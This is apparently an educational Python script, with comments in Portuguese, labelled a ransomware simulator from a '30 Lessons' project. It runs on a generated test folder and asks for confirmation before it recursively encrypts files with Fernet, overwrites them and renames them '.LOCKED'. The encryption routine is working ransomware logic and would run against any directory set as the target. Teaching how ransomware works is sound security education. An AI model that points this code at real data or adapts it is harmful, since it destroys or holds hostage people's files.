import os
from cryptography.fernet import Fernet

def generate_and_save_key():
    """Gera uma chave de criptografia e a salva localmente."""
    key = Fernet.generate_key()
    with open("secret.key", "wb") as key_file:
        key_file.write(key)
    return key

def encrypt_folder(target_dir, key):
    """Criptografa todos os arquivos na pasta alvo."""
    f = Fernet(key)

    print(f"[*] Iniciando simulação em: {target_dir}")

    for root, dirs, files in os.walk(target_dir):
        for file in files:
            # Evita criptografar a própria chave ou o script
            if file == "secret.key" or file.endswith(".py"):
                continue

            file_path = os.path.join(root, file)

            # Lê o conteúdo original
            with open(file_path, "rb") as original_file:
                data = original_file.read()

            # Criptografa os dados
            encrypted_data = f.encrypt(data)

            # Sobrescreve o arquivo e altera a extensão
            with open(file_path, "wb") as encrypted_file:
                encrypted_file.write(encrypted_data)

            os.rename(file_path, file_path + ".LOCKED")
            print(f"[!] Arquivo sequestrado: {file}")

def main():
    print("=" * 60)
    print("Módulo: Ransomware Simulator | Projeto: 30 Lessons")
    print("=" * 60)

    # DEFINA UMA PASTA DE TESTE SEGURA
    target_folder = "./pasta_de_teste"

    if not os.path.exists(target_folder):
        os.makedirs(target_folder)
        with open(f"{target_folder}/doc1.txt", "w") as f: f.write("Dados sensíveis da empresa.")
        with open(f"{target_folder}/planilha.csv", "w") as f: f.write("financeiro,1000,lucro")
        print("[*] Pasta de teste criada com arquivos fictícios.")

    input(f"\n[ATENÇÃO] Isso irá criptografar TUDO em '{target_folder}'.\nPressione ENTER para continuar ou Ctrl+C para abortar...")

    key = generate_and_save_key()
    encrypt_folder(target_folder, key)

    print("\n" + "=" * 60)
    print("[!] SIMULAÇÃO CONCLUÍDA.")
    print("[!] Chave de descriptografia salva em 'secret.key'.")
    print("[!] Sem esta chave, seus dados estariam perdidos para sempre.")

if __name__ == "__main__":
    main()